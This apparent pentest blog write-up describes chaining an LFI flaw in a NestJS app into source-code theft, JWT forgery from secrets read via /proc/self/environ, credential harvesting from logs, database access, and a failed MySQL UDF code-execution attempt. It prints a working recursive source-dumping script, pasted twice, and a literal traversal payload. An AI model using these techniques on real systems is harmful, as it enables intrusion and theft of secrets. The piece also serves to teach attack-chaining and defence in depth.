June 9, 2026
From LFI to Database Takeover and the RCE That Almost Was
In a recent pentest project I tackled with my friend Sajad, we found a perfect example of how small cracks can break a whole system. Byโฆ
Elahe
7 min read
In a recent pentest project I tackled with my friend Sajad, we found a perfect example of how small cracks can break a whole system. By chaining a simple LFI with poor secret management and weak access controls, we managed to pull off a full exploit. We started as low-privileged observers and, step by step, climbed our way up to database administrator.
The Foothold: From Low-Privileged Observer to LFI
The application was a management system with several access levels. To gain admin-level access, you needed to create an account for your organization, which required confirmation by the application support team. Therefore, I could only access the system as a normal user with a very low level of access. While mapping the application's attack surface, I identified an endpoint responsible for serving user-uploaded images. The filename was passed directly through a URL parameter named image_path. The application lacked proper input validation on this parameter. By utilizing directory traversal sequences (../), I attempted to read sensitive system files. The server responded with the contents of /etc/passwd, confirming a classic LFI vulnerability.
Rather than stopping at a confirmed LFI, Sajad insisted that we shouldn't just settle for basic file reading and urged me to see how far this issue could be pushed.
So I thought Access to the source code would significantly increased our visibility into the application's internals and exposed new areas worth investigating.
A quick look at package.json confirmed that the backend was built with NestJS.
Since I had already confirmed that the backend was built with NestJS, I checked how a typical NestJS project is structured. I saw that the main entry file is usually main.ts and that the application bootstrap process starts from the app module.
Automating the Source Code Dump: The Recursive Spider
When I looked at main.ts, I saw many modules getting imported from other files, like app.module.
Since NestJS imports don't show file extensions, I had to manually add .ts to the end of the path to successfully fetch the file through our LFI endpoint.
As I dug deeper into the newly acquired modules, the web of dependencies grew. It wasn't just standard TypeScript files either; I quickly discovered references to other critical asset types, such as users.proto. The presence of .proto files was a massive finding, indicating that the backend communicated with other internal microservices via gRPC. Dumping these files would expose contract definitions, data structures, and hidden remote procedure calls (RPCs) that are rarely visible from the front-facing API.
Doing this manually for a large project was impossible, and that's exactly why I wrote the automation script.
The script starts from app/src/main.ts, fetches it, and saves it locally. Then, it uses a regex pattern to extract internal import paths while ignoring external npm packages (like those starting with @). For each internal import, it calculates the correct path based on the current file's directory, fixes the slashes, and checks the extension. If an extension like .ts, .proto, or .json is missing, it defaults to .ts and fetches that file too.
Here's the Python script I used to dump the whole source code:
import os
import requests
import re
import time
BASE_URL = "<https://target.com/panel/api/applications/tenant-asset/image?imagePath=../../../../>"
SAVE_DIR = r"C:\\{PATH_TO_SAVE_CODES}"
headers = {
'Cookie': 'Authorization={TOKEN_HERE}',
'User-Agent': 'Mozilla/5.0'}
def clean_content(raw_text):
if "import" in raw_text:
return raw_text[raw_text.find("import"):]
return raw_text
def get_file_content(file_path):
full_url = f"{BASE_URL}{file_path}"
while True:
try:
response = requests.get(full_url, headers=headers, timeout=15)
if response.status_code == 200:
return clean_content(response.text)
elif response.status_code == 429:
print(f"429 Limit. Waiting 1s: {file_path}")
time.sleep(1)
continue
else:
print(f"Error {response.status_code}: {file_path}")
return None
except Exception as e:
print(f"Conn Error: {e}")
return None
def extract_imports(content):
pattern = r"from\\s+['\\"]([^@][^'\\"]+)['\\"]"
return re.findall(pattern, content)
def get_final_path(relative_path):
if not relative_path.endswith(('.ts', '.proto', '.js', '.json')):
return relative_path + '.ts'
return relative_path
def download_recursive(file_path, processed_files=None):
if processed_files is None:
processed_files = set()
file_path = "/".join([part.strip() for part in file_path.replace("\\\\", "/").split("/") if part.strip()])
file_path = get_final_path(file_path)
if file_path in processed_files:
return
processed_files.add(file_path)
full_local_path = os.path.normpath(os.path.join(SAVE_DIR, file_path))
if os.path.exists(full_local_path):
print(f"Exists: {file_path}")
try:
with open(full_local_path, "r", encoding="utf-8") as f:
content = f.read()
except:
return
else:
print(f"Fetching: {file_path}")
content = get_file_content(file_path)
if not content:
return
os.makedirs(os.path.dirname(full_local_path), exist_ok=True)
with open(full_local_path, "w", encoding="utf-8") as f:
f.write(content)
print(f"Saved: {file_path}")
import_paths = extract_imports(content)
for imp in import_paths:
imp = imp.strip()
if imp.startswith("src/"):
new_path = f"app/{imp}"
else:
base_dir = os.path.dirname(file_path)
new_path = os.path.normpath(os.path.join(base_dir, imp))
new_path = new_path.replace("\\\\", "/")
download_recursive(new_path, processed_files)
if __name__ == "__main__":
start_path = "app/src/main.ts"
if not os.path.exists(SAVE_DIR):
os.makedirs(SAVE_DIR)
print("Start process...")
download_recursive(start_path)
print("Done.")import os
import requests
import re
import time
BASE_URL = "<https://target.com/panel/api/applications/tenant-asset/image?imagePath=../../../../>"
SAVE_DIR = r"C:\\{PATH_TO_SAVE_CODES}"
headers = {
'Cookie': 'Authorization={TOKEN_HERE}',
'User-Agent': 'Mozilla/5.0'}
def clean_content(raw_text):
if "import" in raw_text:
return raw_text[raw_text.find("import"):]
return raw_text
def get_file_content(file_path):
full_url = f"{BASE_URL}{file_path}"
while True:
try:
response = requests.get(full_url, headers=headers, timeout=15)
if response.status_code == 200:
return clean_content(response.text)
elif response.status_code == 429:
print(f"429 Limit. Waiting 1s: {file_path}")
time.sleep(1)
continue
else:
print(f"Error {response.status_code}: {file_path}")
return None
except Exception as e:
print(f"Conn Error: {e}")
return None
def extract_imports(content):
pattern = r"from\\s+['\\"]([^@][^'\\"]+)['\\"]"
return re.findall(pattern, content)
def get_final_path(relative_path):
if not relative_path.endswith(('.ts', '.proto', '.js', '.json')):
return relative_path + '.ts'
return relative_path
def download_recursive(file_path, processed_files=None):
if processed_files is None:
processed_files = set()
file_path = "/".join([part.strip() for part in file_path.replace("\\\\", "/").split("/") if part.strip()])
file_path = get_final_path(file_path)
if file_path in processed_files:
return
processed_files.add(file_path)
full_local_path = os.path.normpath(os.path.join(SAVE_DIR, file_path))
if os.path.exists(full_local_path):
print(f"Exists: {file_path}")
try:
with open(full_local_path, "r", encoding="utf-8") as f:
content = f.read()
except:
return
else:
print(f"Fetching: {file_path}")
content = get_file_content(file_path)
if not content:
return
os.makedirs(os.path.dirname(full_local_path), exist_ok=True)
with open(full_local_path, "w", encoding="utf-8") as f:
f.write(content)
print(f"Saved: {file_path}")
import_paths = extract_imports(content)
for imp in import_paths:
imp = imp.strip()
if imp.startswith("src/"):
new_path = f"app/{imp}"
else:
base_dir = os.path.dirname(file_path)
new_path = os.path.normpath(os.path.join(base_dir, imp))
new_path = new_path.replace("\\\\", "/")
download_recursive(new_path, processed_files)
if __name__ == "__main__":
start_path = "app/src/main.ts"
if not os.path.exists(SAVE_DIR):
os.makedirs(SAVE_DIR)
print("Start process...")
download_recursive(start_path)
print("Done.")After dumping the source code, my objective was to find high-impact administrative endpoints. I quickly identified several critical endpoints; one of them was something like /logs. However, when I tried to access it, I received a 403 Forbidden response. By reviewing the code, I understood that all of them were protected by a robust authentication guard that I couldn't simply bypass.
I believed that by gaining access to these endpoints, I would obtain valuable data โ IDs and other sensitive information that were not masked. So I needed to escalate to an admin level.
I realized that to move forward, the easiest way was to gain admin-level access, which was enforced via a JWT. So I searched the source code to see how the JWT token was created in order to privilege my own token. However, the source code revealed that the signing secret and required private claims were not hardcoded; they were pulled from the system's environment variables.
Shifting to Memory: Piercing Through /proc/self/environ
So I returned to the LFI endpoint to retrieve the .env file and extract the secrets. I initially targeted standard paths like .env, /etc/environment, and similar locations, but the server returned nothing. It was a dead end until Sajad suggested shifting our focus away from static files and targeting the Linux process filesystem instead.
The breakthrough came when we targeted the process environment:
GET /panel/api/applications/tenant-asset/image?imagePath=../../../../../../proc/self/environ
Unlike static files, this reflected the memory of the running process, finally revealing the JWT_SECRET, along with encryption IVs and database credentials.
Armed with the secret key and the logic I had extracted from the source code, I was no longer an outsider.
I manually constructed a JWT, injecting the specific role (admin) along with the other claims I had discovered in the source code and environment variables. With this forged identity, I bypassed the authentication guards and gained access to the high-privileged API suite as an administrator.
I then returned to that API and sent a GET request. It was successfully accessible using the newly crafted JWT token.
This endpoint was responsible for logging executed crontabs and appeared to function similarly to an Elasticsearch-backed service. By injecting * into the index parameter, all logs were returned.
We then wrote a script to enumerate all indices using a regex-based approach. The mindset was iterative enumeration: start with patterns like a*, then ab*, and continue expanding character by character until the full namespace was covered. Using this method, we were able to dump all available logs.
Afterward, we began analyzing the logs in search of credentials. Many entries, including API request logs, were properly masked. However, some indices were not masked. From those, we extracted multiple third-party credentials and gained access to several company accounts. This was a massive breakthrough, as we uncovered valid plain-text credentials belonging to numerous external partner organizations. This exposed an alarming amount of highly sensitive corporate data, giving us direct access to critical infrastructure across multiple interconnected companies.
The Database Breach & The Elusive RCE
Up to this point, we had accessed highly sensitive data. However, the ultimate objective was achieving Remote Code Execution (RCE). So we returned to the LFI vector to dig deeper. While exploring NestJS paths and configuration files, we identified that ormconfig.json might contain database connection details. We retrieved it via the vulnerable endpoint, and indeed, the database credentials were present.
Next, we performed a port scan against the host to determine whether port 3306 was accessible. It was not exposed publicly. However, during a full port scan, we discovered that port 3307 was open. Using the credentials obtained from ormconfig.json, we successfully authenticated to the database.
After establishing a direct connection to the MySQL instance, we attempted to achieve RCE. In certain legacy or misconfigured environments, a database user with FILE privileges can abuse User-Defined Functions (UDFs) to execute system commands.
The plan was straightforward:
- Upload a malicious shared object file (.so) containing a system shell wrapper.
- Use the CREATE FUNCTION command to map a MySQL function to that binary.
- Execute system commands directly via SQL queries.
I attempted to write the UDF library into the server's plugin directory. However, every attempt failed. Despite having administrative database privileges, OS-level permissions on /usr/lib/mysql/plugin/ were configured as read-only for the mysql user. As a result, we could not place the malicious plugin in that path.
Other potentially interesting filesystem locations for dropping a shell were also read-only, preventing arbitrary file writes.
The Final Chain & Key Takeaways
Looking back at the entire engagement, the progression was methodical and persistent. It was not about a single "magic exploit," but about continuously chaining weaknesses together.
- ๐ LFI (Foothold): Granted initial entry and enabled recursive extraction of the entire application source code.
- ๐ Code Analysis: Stripped down the inner workings and exposed the underlying JWT implementation logic.
- ๐ง Memory Leak (
/proc/self/environ): Exposed live process metadata, revealing the environment secrets required for token forgery. - ๐ Privilege Escalation: Forged an admin identity to completely bypass authorization guards and unlock the administrative API suite.
- ๐๏ธ Data Exfiltration: Exploited a misconfigured logging service to harvest plain-text credentials and compromise multiple third-party organization accounts.
- ๐ Crown Jewels (Database Access): Leveraged configuration files to establish direct authentication into the internal MySQL instance.
- ๐ Defense-in-Depth: Finally, strict OS-level filesystem hardening broke our exploit chain, successfully mitigating a full-scale RCE.
This case demonstrates an essential security principle: a single vulnerability is dangerous, but a chain of vulnerabilities is catastrophic. Effective defense-in-depth ensures that when one control fails, the next one prevents total compromise.
A special shoutout to my teammate Sajad; this operation wouldn't have been nearly as smooth or successful without our constant brainstorming and his sharp analytical approach during our sudden roadblocks.